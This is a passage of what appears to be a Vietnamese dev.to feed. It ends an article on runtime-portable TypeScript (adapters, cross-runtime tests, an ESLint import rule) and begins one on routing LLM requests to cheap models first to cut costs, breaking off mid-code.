&lt;p&gt;Có ba điểm cần để ý:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Dùng &lt;code&gt;crypto.subtle&lt;/code&gt; chứ không dùng &lt;code&gt;node:crypto&lt;/code&gt;.&lt;/strong&gt; Chạy được ở mọi nơi, kể cả Workers khi không bật &lt;code&gt;nodejs_compat&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Config được inject vào, không đọc trực tiếp.&lt;/strong&gt; Trong core tuyệt đối không có &lt;code&gt;process.env&lt;/code&gt;. Đây là lỗi mình gặp nhiều nhất khi review code muốn port sang Workers, vì ở đó env là tham số &lt;code&gt;env&lt;/code&gt; của handler chứ không phải biến global.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Storage là một interface.&lt;/strong&gt; Trên Node, bạn có thể dùng Redis. Trên Deno thì Deno KV. Trên Workers thì Workers KV. Còn khi test thì một &lt;code&gt;Map&lt;/code&gt; là đủ.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Nếu không muốn tự viết routing, Hono (v4.x) được thiết kế đúng theo triết lý này và chạy được trên cả bốn runtime. Nhưng bạn vẫn nên hiểu cơ chế bên dưới trước khi dùng framework.&lt;/p&gt;

&lt;h2&gt;
  
  
  Adapter cho từng runtime
&lt;/h2&gt;

&lt;p&gt;Đây là phần duy nhất được phép "bẩn":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// entry.node.ts  (Node 22+, cần: npm i @hono/node-server ioredis)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;serve&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@hono/node-server&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createApp&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/core/app.ts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;redisStore&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/adapters/redis.ts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createApp&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;API_KEY&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;prod&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;redisStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;REDIS_URL&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nf"&gt;serve&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// entry.deno.ts  (Deno 2.x)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createApp&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/core/app.ts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;denoKvStore&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/adapters/deno-kv.ts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;kv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;Deno&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;openKv&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;Deno&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;serve&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nf"&gt;createApp&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Deno&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;API_KEY&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;prod&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;denoKvStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;kv&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;

&lt;span class="c1"&gt;// entry.worker.ts  (Cloudflare Workers, wrangler 4.x)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createApp&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/core/app&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;workersKvStore&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./src/adapters/workers-kv&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;API_KEY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;LINKS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;KVNamespace&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;createApp&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;API_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;prod&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;workersKvStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LINKS&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;})(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Với Bun thì đơn giản hơn nữa: &lt;code&gt;Bun.serve({ port: 3000, fetch })&lt;/code&gt;, hoặc dùng luôn cú pháp &lt;code&gt;export default { fetch }&lt;/code&gt; giống Workers.&lt;/p&gt;

&lt;p&gt;Luồng xử lý một request lúc này trông như sau:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant C as Client
    participant R as Runtime (Node/Deno/Workers)
    participant A as Adapter entry
    participant Core as Core fetch()
    participant S as Store impl
    C-&amp;gt;&amp;gt;R: HTTP POST /shorten
    R-&amp;gt;&amp;gt;A: native request
    A-&amp;gt;&amp;gt;Core: Request (Web standard)
    Core-&amp;gt;&amp;gt;S: store.put(id, link)
    S--&amp;gt;&amp;gt;Core: ok
    Core--&amp;gt;&amp;gt;A: Response
    A--&amp;gt;&amp;gt;C: 201 JSON&lt;/code&gt;&lt;/pre&gt;



&lt;h2&gt;
  
  
  Kiểm tra tính portable bằng CI
&lt;/h2&gt;

&lt;p&gt;Nói "code chạy được mọi nơi" mà không có test thì chỉ là hy vọng. Mình viết test theo kiểu gọi thẳng vào fetch handler (không cần mở port), dùng một &lt;code&gt;Map&lt;/code&gt; làm store, rồi chạy cùng một file test trên nhiều runtime:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Node 22+ có test runner sẵn và chạy được TS với --experimental-strip-types&lt;/span&gt;
node &lt;span class="nt"&gt;--experimental-strip-types&lt;/span&gt; &lt;span class="nt"&gt;--test&lt;/span&gt; tests/app.test.ts

&lt;span class="c"&gt;# Deno 2.x chạy được node:test nhờ lớp tương thích&lt;/span&gt;
deno &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;--allow-env&lt;/span&gt; tests/app.test.ts

&lt;span class="c"&gt;# Bun&lt;/span&gt;
bun &lt;span class="nb"&gt;test &lt;/span&gt;tests/app.test.ts

&lt;span class="c"&gt;# Workers: dùng @cloudflare/vitest-pool-workers để chạy trong workerd thật&lt;/span&gt;
npx vitest run &lt;span class="nt"&gt;--config&lt;/span&gt; vitest.workers.config.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trong GitHub Actions, đặt bốn lệnh này vào một job matrix. Thêm một rule ESLint chặn import vào thư mục core:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"no-restricted-imports"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"patterns"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node:*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"path"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bun"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"no-restricted-globals"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"process"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Buffer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Deno"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bun"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chỉ áp rule này cho &lt;code&gt;src/core/**&lt;/code&gt;. Lần đầu bật lên có thể bạn sẽ thấy hàng chục lỗi, và đó chính là danh sách "nợ lock-in" của bạn.&lt;/p&gt;

&lt;p&gt;Một vài cái bẫy mình từng dính:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Buffer&lt;/code&gt;&lt;/strong&gt; vẫn len lỏi vào qua các thư viện cũ. Hãy thay bằng &lt;code&gt;Uint8Array&lt;/code&gt; và &lt;code&gt;TextEncoder&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Thư viện npm dùng &lt;code&gt;node:net&lt;/code&gt; hoặc &lt;code&gt;node:tls&lt;/code&gt;&lt;/strong&gt; (nhiều driver database kiểu cũ) sẽ không chạy trên Workers. Khi chọn thư viện, ưu tiên loại kết nối qua HTTP/fetch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cùng là Request nhưng không phải lúc nào cũng có giới hạn CPU time như nhau.&lt;/strong&gt; Workers giới hạn CPU time cho mỗi request, Node thì không. Code nào hash nặng hoặc parse JSON lớn thì phải đo lại khi chuyển sang edge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Top-level &lt;code&gt;await&lt;/code&gt;&lt;/strong&gt; dùng thoải mái trên Deno/Node ESM, nhưng trên Workers thì nên khởi tạo bên trong handler hoặc lazy-init.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Các thương vụ mua bán trong làng runtime sẽ còn tiếp diễn, và bạn không kiểm soát được chuyện đó. Thứ bạn kiểm soát được là chi phí để rời đi. Các bước nên làm ngay tuần này:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Grep codebase&lt;/strong&gt; tìm &lt;code&gt;process.env&lt;/code&gt;, &lt;code&gt;Buffer&lt;/code&gt;, &lt;code&gt;require("fs")&lt;/code&gt; trong phần business logic. Mỗi kết quả là một điểm khóa chặt bạn vào runtime.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chuyển handler sang chữ ký &lt;code&gt;(Request) =&amp;gt; Promise&amp;lt;Response&amp;gt;&lt;/code&gt;.&lt;/strong&gt; Có thể bắt đầu từ một endpoint mới, không cần rewrite toàn bộ.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inject config và storage qua interface&lt;/strong&gt;, đừng đọc global.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bật rule ESLint cho &lt;code&gt;src/core&lt;/code&gt;&lt;/strong&gt; và chạy test trên ít nhất hai runtime trong CI.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ưu tiên &lt;code&gt;crypto.subtle&lt;/code&gt;, &lt;code&gt;fetch&lt;/code&gt;, &lt;code&gt;ReadableStream&lt;/code&gt;&lt;/strong&gt; thay vì API riêng của Node.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Làm được như vậy, việc chọn Node, Deno, Bun hay Workers chỉ còn là chuyện deploy config, không còn là quyết định kiến trúc. Và khi có tin "X acquires Y" tiếp theo, bạn có thể đọc nó với tâm thế thoải mái.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>deno</category>
      <category>cloudflare</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Cheap Models First: Building an LLM Cascade Router That Cuts Your AI Bill Without Hurting Quality</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Fri, 09 Oct 2026 17:50:34 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/cheap-models-first-building-an-llm-cascade-router-that-cuts-your-ai-bill-without-hurting-quality-54hp</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/cheap-models-first-building-an-llm-cascade-router-that-cuts-your-ai-bill-without-hurting-quality-54hp</guid>
      <description>&lt;p&gt;Tuần này trên Hacker News có một thread gần 1000 điểm hỏi: "Tại sao ngành không hoảng lên vì DeepSeek 4.1 Flash?". Trên Dev.to cũng có bài kiểu "mình đã đưa agent về zero mistakes mà vẫn dùng Flash-Lite". Hai chuyện này nói cùng một điều mà nhiều team ở Việt Nam chưa để ý: &lt;strong&gt;model rẻ giờ đủ tốt cho phần lớn request&lt;/strong&gt;. Model đắt chỉ nên dùng cho phần khó còn lại.&lt;/p&gt;

&lt;p&gt;Mình đã refactor một hệ thống xử lý ticket support (khoảng 40k request/ngày) theo kiểu này: đi qua model nhỏ trước, khi cần mới escalate lên model lớn. Chi phí giảm khoảng 70%, còn chất lượng đo bằng eval set thì gần như giữ nguyên. Bài này chia sẻ cách làm cụ thể, có code chạy được.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vì sao "một model cho tất cả" là lãng phí
&lt;/h2&gt;

&lt;p&gt;Đa số app AI hiện tại hardcode một model, thường là model mạnh nhất cho chắc. Nhưng khi nhìn log thật, bạn sẽ thấy traffic phân bố kiểu này:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;~60-70%&lt;/strong&gt; là request đơn giản: phân loại, extract field, tóm tắt ngắn, format lại JSON.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;~20-30%&lt;/strong&gt; là request trung bình: cần suy luận vài bước.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;~5-10%&lt;/strong&gt; là request thật sự khó: reasoning dài, code phức tạp, context mơ hồ.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Dùng model flagship cho cả nhóm đầu thì giống thuê senior architect đi rename biến. Giá giữa model Flash/Lite và flagship thường chênh &lt;strong&gt;10-30 lần&lt;/strong&gt; mỗi token, nên chỉ cần chuyển nhóm đơn giản xuống model rẻ là hóa đơn đã giảm mạnh.&lt;/p&gt;

&lt;p&gt;Có hai pattern chính:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Routing&lt;/strong&gt;: phân loại request trước rồi chọn model. Nhanh, nhưng bộ phân loại có thể sai.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cascade&lt;/strong&gt;: luôn thử model rẻ trước, validate output, fail thì escalate. Chắc hơn, đổi lại latency cao hơn ở các case khó.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Trong thực tế mình kết hợp cả hai. Sơ đồ như sau:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
    A[Request] --&amp;gt; B{Heuristic router}
    B --&amp;gt;|Simple task| C[Flash-Lite model]
    B --&amp;gt;|Hard task| E[Flagship model]
    C --&amp;gt; D{Validator pass?}
    D --&amp;gt;|Yes| F[Return response]
    D --&amp;gt;|No| G[Flash model]
    G --&amp;gt; H{Validator pass?}
    H --&amp;gt;|Yes| F
    H --&amp;gt;|No| E
    E --&amp;gt; F&lt;/code&gt;&lt;/pre&gt;



&lt;h2&gt;
  
  
  Implement cascade router bằng Python
&lt;/h2&gt;

&lt;p&gt;Đa số provider hiện nay (DeepSeek, OpenRouter, vLLM self-host, Ollama...) đều có endpoint &lt;strong&gt;OpenAI-compatible&lt;/strong&gt;, nên mình dùng &lt;code&gt;openai&lt;/code&gt; Python SDK (&amp;gt;= 1.40) làm client chung. Môi trường: Python 3.12.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# router.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dataclasses&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dataclass&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OpenAI&lt;/span&gt;

&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;OpenAI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# đọc OPENAI_BASE_URL + OPENAI_API_KEY từ env
&lt;/span&gt;
&lt;span class="nd"&gt;@dataclass&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;

&lt;span class="n"&gt;TIERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nc"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;lite&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;flash-lite-model&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nc"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;flash&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;flash-model&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nc"&gt;Tier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;flagship&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;flagship-model&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required_keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
